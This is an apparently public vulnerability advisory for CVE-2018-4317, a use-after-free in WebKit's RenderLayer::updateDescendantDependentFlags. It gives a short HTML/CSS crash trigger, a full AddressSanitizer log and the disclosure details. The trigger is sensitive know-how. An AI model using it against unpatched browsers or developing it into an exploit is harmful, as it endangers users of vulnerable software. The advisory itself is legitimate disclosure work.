WebKit WebCore::RenderLayer::updateDescendantDependentFlags Use-After-Free

`WebKit: Use-after-free in WebCore::RenderLayer::updateDescendantDependentFlags   
  
CVE-2018-4317  
  
  
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of the latest WebKit source on OSX.  
  
PoC:  
  
=================================================================  
  
<style>  
#htmlvar00005, noframes, * { diplay: inline; padding-top: 0vw; -webkit-column-count: 41; transition-delay: }  
body::first-letter { box-flex-group: -webkit-background-size: contain; -webkit-opacity: 0.716727864979; }  
#htmlvar00001, .class1 { 1vmax; display: contents; left: transform-style: inherit; -webkit-text-orientation: sideways; end }  
</style>  
<span class="class1" defer="defer">IYnxA?LQYP}</span>  
  
=================================================================  
  
ASan log:  
  
=================================================================  
==25159==ERROR: AddressSanitizer: heap-use-after-free on address 0x61200003d572 at pc 0x00065122aeac bp 0x7ffee162f750 sp 0x7ffee162f748  
READ of size 6 at 0x61200003d572 thread T0  
==25159==WARNING: invalid path to external symbolizer!  
==25159==WARNING: Failed to use and restart external symbolizer!  
#0 0x65122aeab in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37ddeab)  
#1 0x65122a768 in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37dd768)  
#2 0x65122a768 in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37dd768)  
#3 0x65122a768 in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37dd768)  
#4 0x65122a768 in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37dd768)  
#5 0x65122851f in WebCore::RenderLayer::updateLayerPositions(WebCore::RenderGeometryMap*, unsigned int) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37db51f)  
#6 0x6512281cf in WebCore::RenderLayer::updateLayerPositionsAfterLayout(WebCore::RenderLayer const*, unsigned int) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37db1cf)  
#7 0x650996886 in WebCore::FrameView::didLayout(WTF::WeakPtr<WebCore::RenderElement>) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f49886)  
#8 0x65098ad2e in WebCore::FrameViewLayoutContext::layout() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f3dd2e)  
#9 0x6509a3ea2 in WebCore::FrameView::updateContentsSize() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f56ea2)  
#10 0x650b551e3 in WebCore::ScrollView::updateScrollbars(WebCore::IntPoint const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x31081e3)  
#11 0x650b57a0f in WebCore::ScrollView::setContentsSize(WebCore::IntSize const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x310aa0f)  
#12 0x65099048b in WebCore::FrameView::setContentsSize(WebCore::IntSize const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f4348b)  
#13 0x650986fc6 in WebCore::FrameView::adjustViewSize() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f39fc6)  
#14 0x65098ac39 in WebCore::FrameViewLayoutContext::layout() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f3dc39)  
#15 0x64fe9a989 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x244d989)  
#16 0x650791f77 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d44f77)  
#17 0x6507901bc in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d431bc)  
#18 0x64febd9b2 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x24709b2)  
#19 0x6504e5e24 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2a98e24)  
#20 0x65077670b in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d2970b)  
#21 0x65073fdeb in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2cf2deb)  
#22 0x650882097 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e35097)  
#23 0x65087eabe in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e31abe)  
#24 0x650815f7e in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dc8f7e)  
#25 0x648dec7cb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdec7cb)  
#26 0x648df0d2e in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf0d2e)  
#27 0x648df002e in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf002e)  
#28 0x6483d8978 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3d8978)  
#29 0x648151e2e in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x151e2e)  
#30 0x64815bbd6 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x15bbd6)  
#31 0x65d43ec07 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8fc07)  
#32 0x65d43f686 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x90686)  
#33 0x7fff54e22a60 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa3a60)  
#34 0x7fff54edc47b in __CFRunLoopDoSource0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x15d47b)  
#35 0x7fff54e054bf in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x864bf)  
#36 0x7fff54e0493c in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8593c)  
#37 0x7fff54e041a2 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x851a2)  
#38 0x7fff540ead95 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x2fd95)  
#39 0x7fff540eab05 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x2fb05)  
#40 0x7fff540ea883 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x2f883)  
#41 0x7fff5239ca72 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x41a72)  
#42 0x7fff52b32e33 in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7d7e33)  
#43 0x7fff52391884 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x36884)  
#44 0x7fff52360a71 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5a71)  
#45 0x7fff7cf6cdc6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x10dc6)  
#46 0x7fff7cf6ba19 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xfa19)  
#47 0x10e5cc4d6 in main (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x1000014d6)  
#48 0x7fff7cc12014 in start (/usr/lib/system/libdyld.dylib:x86_64+0x1014)  
  
0x61200003d572 is located 50 bytes inside of 320-byte region [0x61200003d540,0x61200003d680)  
freed by thread T0 here:  
#0 0x64c127fa4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/9.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x59fa4)  
#1 0x65d49dc12 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xeec12)  
#2 0x651296efe in WebCore::RenderLayerModelObject::willBeDestroyed() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3849efe)  
#3 0x65131704d in WebCore::RenderObject::destroy() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x38ca04d)  
#4 0x6515c6320 in WebCore::RenderTreeBuilder::destroy(WebCore::RenderObject&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b79320)  
#5 0x6515c6247 in WebCore::RenderTreeBuilder::destroy(WebCore::RenderObject&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b79247)  
#6 0x6515d05cf in WebCore::RenderTreeBuilder::FirstLetter::createRenderers(WebCore::RenderBlock&, WebCore::RenderText&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b835cf)  
#7 0x6515ce87a in WebCore::RenderTreeBuilder::FirstLetter::updateAfterDescendants(WebCore::RenderBlock&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b8187a)  
#8 0x6515ce649 in WebCore::RenderTreeBuilder::updateAfterDescendants(WebCore::RenderElement&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b81649)  
#9 0x6515e320f in WebCore::RenderTreeUpdater::updateAfterDescendants(WebCore::Element&, WebCore::Style::ElementUpdates const*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b9620f)  
#10 0x6515e3197 in WebCore::RenderTreeUpdater::popParent() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b96197)  
#11 0x6515e2357 in WebCore::RenderTreeUpdater::popParentsToDepth(unsigned int) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b95357)  
#12 0x6515e21cb in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b951cb)  
#13 0x6515e170a in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b9470a)  
#14 0x64fe99cdd in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x244ccdd)  
#15 0x64fe9b351 in WebCore::Document::updateStyleIfNeeded() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x244e351)  
#16 0x65098a879 in WebCore::FrameViewLayoutContext::layout() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f3d879)  
#17 0x6509a3ea2 in WebCore::FrameView::updateContentsSize() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f56ea2)  
#18 0x650b551e3 in WebCore::ScrollView::updateScrollbars(WebCore::IntPoint const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x31081e3)  
#19 0x650b57a0f in WebCore::ScrollView::setContentsSize(WebCore::IntSize const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x310aa0f)  
#20 0x65099048b in WebCore::FrameView::setContentsSize(WebCore::IntSize const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f4348b)  
#21 0x650986fc6 in WebCore::FrameView::adjustViewSize() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f39fc6)  
#22 0x65098ac39 in WebCore::FrameViewLayoutContext::layout() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f3dc39)  
#23 0x64fe9a989 in WebCore::Document::implicitClose() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x244d989)  
#24 0x650791f77 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d44f77)  
#25 0x6507901bc in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d431bc)  
#26 0x64febd9b2 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x24709b2)  
#27 0x6504e5e24 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2a98e24)  
#28 0x65077670b in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d2970b)  
#29 0x65073fdeb in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2cf2deb)  
  
previously allocated by thread T0 here:  
#0 0x64c127a3c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/9.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x59a3c)  
#1 0x7fff7cdbb1bc in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x21bc)  
#2 0x65d49e124 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xef124)  
#3 0x65d49a82d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xeb82d)  
#4 0x65d3f9dcb in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x4adcb)  
#5 0x65d3f911a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x4a11a)  
#6 0x6512bf468 in WebCore::RenderLayer::operator new(unsigned long) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3872468)  
#7 0x651296f44 in WebCore::RenderLayerModelObject::createLayer() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3849f44)  
#8 0x651215c1c in WebCore::RenderLayerModelObject::styleDidChange(WebCore::StyleDifference, WebCore::RenderStyle const*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37c8c1c)  
#9 0x65121585d in WebCore::RenderInline::styleDidChange(WebCore::StyleDifference, WebCore::RenderStyle const*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37c885d)  
#10 0x6515d01b6 in WebCore::RenderTreeBuilder::FirstLetter::createRenderers(WebCore::RenderBlock&, WebCore::RenderText&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b831b6)  
#11 0x6515ce87a in WebCore::RenderTreeBuilder::FirstLetter::updateAfterDescendants(WebCore::RenderBlock&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b8187a)  
#12 0x6515ce649 in WebCore::RenderTreeBuilder::updateAfterDescendants(WebCore::RenderElement&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b81649)  
#13 0x6515e320f in WebCore::RenderTreeUpdater::updateAfterDescendants(WebCore::Element&, WebCore::Style::ElementUpdates const*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b9620f)  
#14 0x6515e3197 in WebCore::RenderTreeUpdater::popParent() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b96197)  
#15 0x6515e2357 in WebCore::RenderTreeUpdater::popParentsToDepth(unsigned int) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b95357)  
#16 0x6515e21cb in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b951cb)  
#17 0x6515e170a in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b9470a)  
#18 0x64fe99cdd in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x244ccdd)  
#19 0x64fe9b351 in WebCore::Document::updateStyleIfNeeded() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x244e351)  
#20 0x64febd996 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2470996)  
#21 0x6504e5e24 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2a98e24)  
#22 0x65077670b in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d2970b)  
#23 0x65073fdeb in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2cf2deb)  
#24 0x650882097 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e35097)  
#25 0x65087eabe in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e31abe)  
#26 0x650815f7e in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dc8f7e)  
#27 0x648dec7cb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdec7cb)  
#28 0x648df0d2e in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf0d2e)  
#29 0x648df002e in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf002e)  
  
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x37ddeab) in WebCore::RenderLayer::updateDescendantDependentFlags(WTF::HashSet<WebCore::RenderObject const*, WTF::PtrHash<WebCore::RenderObject const*>, WTF::HashTraits<WebCore::RenderObject const*> >*)  
Shadow bytes around the buggy address:  
0x1c2400007a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x1c2400007a60: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa  
0x1c2400007a70: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00  
0x1c2400007a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x1c2400007a90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
=>0x1c2400007aa0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd[fd]fd  
0x1c2400007ab0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  
0x1c2400007ac0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  
0x1c2400007ad0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00  
0x1c2400007ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x1c2400007af0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07   
Heap left redzone: fa  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
==25159==ABORTING  
  
  
WebKit bug tracker link: <a href="https://bugs.webkit.org/show_bug.cgi?id=186657" title="" class="" rel="nofollow">https://bugs.webkit.org/show_bug.cgi?id=186657</a>  
Apple product security report ID: 693279676  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: ifratric  
  
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